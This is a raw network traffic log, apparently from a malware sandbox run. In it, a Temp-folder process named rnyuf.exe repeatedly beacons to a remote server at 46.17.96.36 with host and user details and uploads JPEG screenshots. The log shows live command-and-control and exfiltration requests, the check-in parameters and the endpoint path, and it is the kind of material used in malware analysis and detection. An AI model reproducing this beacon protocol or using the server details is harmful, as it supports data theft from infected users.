Aug 29, 2021 22:27:50.669899940 CEST	10550	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.4	49859	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:50.698928118 CEST	10551	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:50.699043989 CEST	10551	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:50.699224949 CEST	10561	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:50.699326992 CEST	10563	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:50.734647036 CEST	10569	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:50.735151052 CEST	10584	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:50.735191107 CEST	10589	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:50.770396948 CEST	10594	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:50.770487070 CEST	10597	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:50.770509958 CEST	10600	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:50.770912886 CEST	10608	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:50.877263069 CEST	10659	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.4	49860	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:50.851327896 CEST	10659	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:50.922791958 CEST	10659	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.4	49861	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:51.074291945 CEST	10660	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:51.154222965 CEST	10661	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:27:52.444906950 CEST	10670	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----f8365e60c09cb72ff566abbc48b42f93 Host: 46.17.96.36 Content-Length: 112208 Cache-Control: no-cache
Aug 29, 2021 22:27:52.445014954 CEST	10671	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 66 38 33 36 35 65 36 30 63 30 39 63 62 37 32 66 66 35 36 36 61 62 62 63 34 38 62 34 32 66 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------f8365e60c09cb72ff566abbc48b42f93Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:52.445240021 CEST	10681	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:52.445292950 CEST	10683	OUT	Data Raw: 5d cf fe 82 6b 93 ae b3 e1 9f fc 94 7d 13 fe bb 9f fd 04 d4 4f e1 65 43 e2 47 d5 94 51 55 1e d2 76 76 61 a8 dc a0 27 21 55 63 c0 f6 e5 33 5e 71 de 5b a2 a9 fd 8a 7f fa 09 dd ff 00 df 31 7f f1 14 7d 8a 7f fa 09 dd ff 00 df 31 7f f1 14 01 72 8a a7 Data Ascii: ]k}OeCGQUvva'!Uc3^q[1}1r)'w\|Q)'w\|PG@(bw_Ebw_E\1}1r)'w\|Q)'w\|P
Aug 29, 2021 22:27:52.480648041 CEST	10689	OUT	Data Raw: c7 16 17 11 29 f3 f3 3b da 4d 22 62 f5 81 ac 9c df 2f fd 73 1f cc d6 c6 fa c5 d5 4e 6f 17 fe b9 8f e6 6b b3 2e 56 ae 8f 27 89 67 7c 0b 5e 68 a5 45 25 2d 7d 09 f9 d0 51 45 14 01 f6 26 92 17 fb 26 c4 b2 2b 62 04 ea 3f d9 15 a2 60 8d 90 37 94 80 11 Data Ascii: );M"b/sNok.V'g\|^hE%-}QE&&+b?`7oVv {/Olfh15X4NPzi(EH;JPk<H[o^mdf8?, <Ebx2>3i(fz4iRUa9s7sWpE-
Aug 29, 2021 22:27:52.480916977 CEST	10694	OUT	Data Raw: 26 8e 38 65 92 29 12 39 94 b4 4e ca 40 70 09 04 a9 ee 32 08 e3 b8 ad 6e 8c ec c6 51 4b 8a b7 a7 e9 5a 8e ad 2b c5 a6 e9 f7 57 b2 22 ee 64 b6 85 a4 2a 3d 48 50 70 28 11 6f c3 b7 d1 5b 78 87 4b 6d 42 66 1a 72 5d 44 6e 54 ee 65 f2 83 8d dc 0e 48 db Data Ascii: &8e)9N@p2nQKZ+W"d*=HPp(o[xKmBfr]DnTeH{=b$_4{WXhUqH CT~4Yg%}um"IwD d.:ist\|(SO/RAj>Akan!UHd09
Aug 29, 2021 22:27:52.480962038 CEST	10705	OUT	Data Raw: bd ff 00 12 95 58 ae 9d bf 03 d4 be dd a1 c9 ab 5f 4a d1 e8 d7 fa 94 76 3a 7a 45 18 bc b5 8a 0d ab 16 26 58 da 74 78 b2 1b 68 c6 03 63 38 23 04 1e 3f c4 77 76 7f d8 da 4d 9d 8d b6 9d 09 22 e2 4b 95 83 cb 96 54 61 3c a1 15 a5 51 92 02 6d c7 38 61 Data Ascii: X_Jv:zE&Xtxhc8#?wvM"KTa<Qm8a\|AB{kj~ {ACrK,J<\|Y&t`8hUe\NqG?[!GAKEQEQE(hisE (
Aug 29, 2021 22:27:52.484258890 CEST	10710	OUT	Data Raw: 14 72 a0 e7 65 7f b3 fb d2 79 0c 3a 73 56 76 d2 81 47 b3 41 ed 19 48 c4 e3 b1 a3 69 1d aa f6 28 22 8f 66 1e d0 a3 83 4a 3a d5 cf 2d 4f 6a 43 6e a7 d4 52 f6 6c 7e d1 15 69 6a 7f b3 7a 1a 69 b7 61 47 23 0e 78 91 81 4b b6 9c 63 61 da 93 04 52 b3 0b Data Ascii: rey:sVvGAHi("fJ:-OjCnRl~ijziaG#xKcaRKEEPE.=E;P+c4bB( bZQKLAEZQ@KRKTKZAK(AJ*RZdRLAKE(H)i;RGpIJ)GJZO:"Y(jpjw%L)M0#
Aug 29, 2021 22:27:52.516297102 CEST	10721	OUT	Data Raw: e1 e3 72 7c 56 2a a2 8d d2 82 fe b6 3a 72 99 52 c0 d3 94 a6 af 37 f9 1e 83 e3 ff 00 1f c1 65 6d 36 91 a4 4c 24 bc 90 6c 9a 64 39 11 0e e0 1f ef 7f 2f ad 78 d8 a2 81 5e e6 03 01 4b 05 4b d9 d3 f9 be e1 88 c4 4e bc f9 a4 06 8e d4 b4 86 bb 8c 02 96 Data Ascii: r\|V*:rR7em6L$ld9/x^KKNRQxDS~&t cZPlU8=_$iqcSZMkw<+'nzWG-tkJp;S-#U06k+_J2Aw+/'k
Aug 29, 2021 22:27:52.516340971 CEST	10723	OUT	Data Raw: b7 64 e2 9c 29 88 32 6a c0 8f 03 9a a4 ae 4c 9a 43 40 cd 28 5a 90 01 4e 18 ad 2c 66 e4 30 2e 29 eb c5 2d 26 69 a4 45 ee 2e 69 45 25 2d 31 0e 14 bd a9 a0 f3 4b 40 80 52 e6 9b 9e 68 22 80 1d b8 51 9f 4a 6f 34 00 4d 01 64 3f 3c 75 a3 39 a4 0b 4f 0b Data Ascii: d)2jLC@(ZN,f0.)-&iE.iE%-1K@Rh"QJo4Md?<u9OLH((%L)J:P&-9O4sKfr)4hhz\j=BSFr[#YVE-RR@)i)i)E%(A@HJ))E!1)"Wm$*Pv
Aug 29, 2021 22:27:52.516357899 CEST	10731	OUT	Data Raw: b4 3c 47 aa 5a ea d7 76 f3 e9 f7 44 58 04 2b 0e 9c 55 87 d8 ce 7e 6e a0 2b 6f 3f 36 e1 c9 cf cd 83 d6 a6 8b 7b 16 9d ae 59 5d cf 9f b3 a4 bb 67 00 64 98 98 15 71 ff 00 7c 93 5b 53 9c a5 4b 9b a9 95 48 46 35 6d d0 b5 1f 87 af 64 1a 41 df 02 ae a9 Data Ascii: <GZvDX+U~n+o?6{Y]gdq\|[SKHF5mdABn6sol73Cl-LX5_i``;[\|mN~c@5>!t6k}6mZ9<)hUIW!=0N6*7CoaOI\|-\|d3Z56P'ypT
Aug 29, 2021 22:27:52.629473925 CEST	10784	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.4	49863	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:52.574785948 CEST	10783	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:52.655003071 CEST	10784	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.4	49864	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:52.841491938 CEST	10785	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:52.911488056 CEST	10799	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.4	49865	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:52.888051987 CEST	10785	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:52.888127089 CEST	10786	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:52.888323069 CEST	10796	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:52.888407946 CEST	10798	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:52.925832033 CEST	10804	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:52.925860882 CEST	10807	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:52.925873995 CEST	10815	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:52.925884962 CEST	10819	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:52.925894022 CEST	10824	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:52.961066008 CEST	10830	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:52.961118937 CEST	10835	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:53.073076963 CEST	10894	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.4	49866	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:53.114259005 CEST	10894	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:53.197138071 CEST	10895	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.4	49867	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:53.323744059 CEST	10895	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
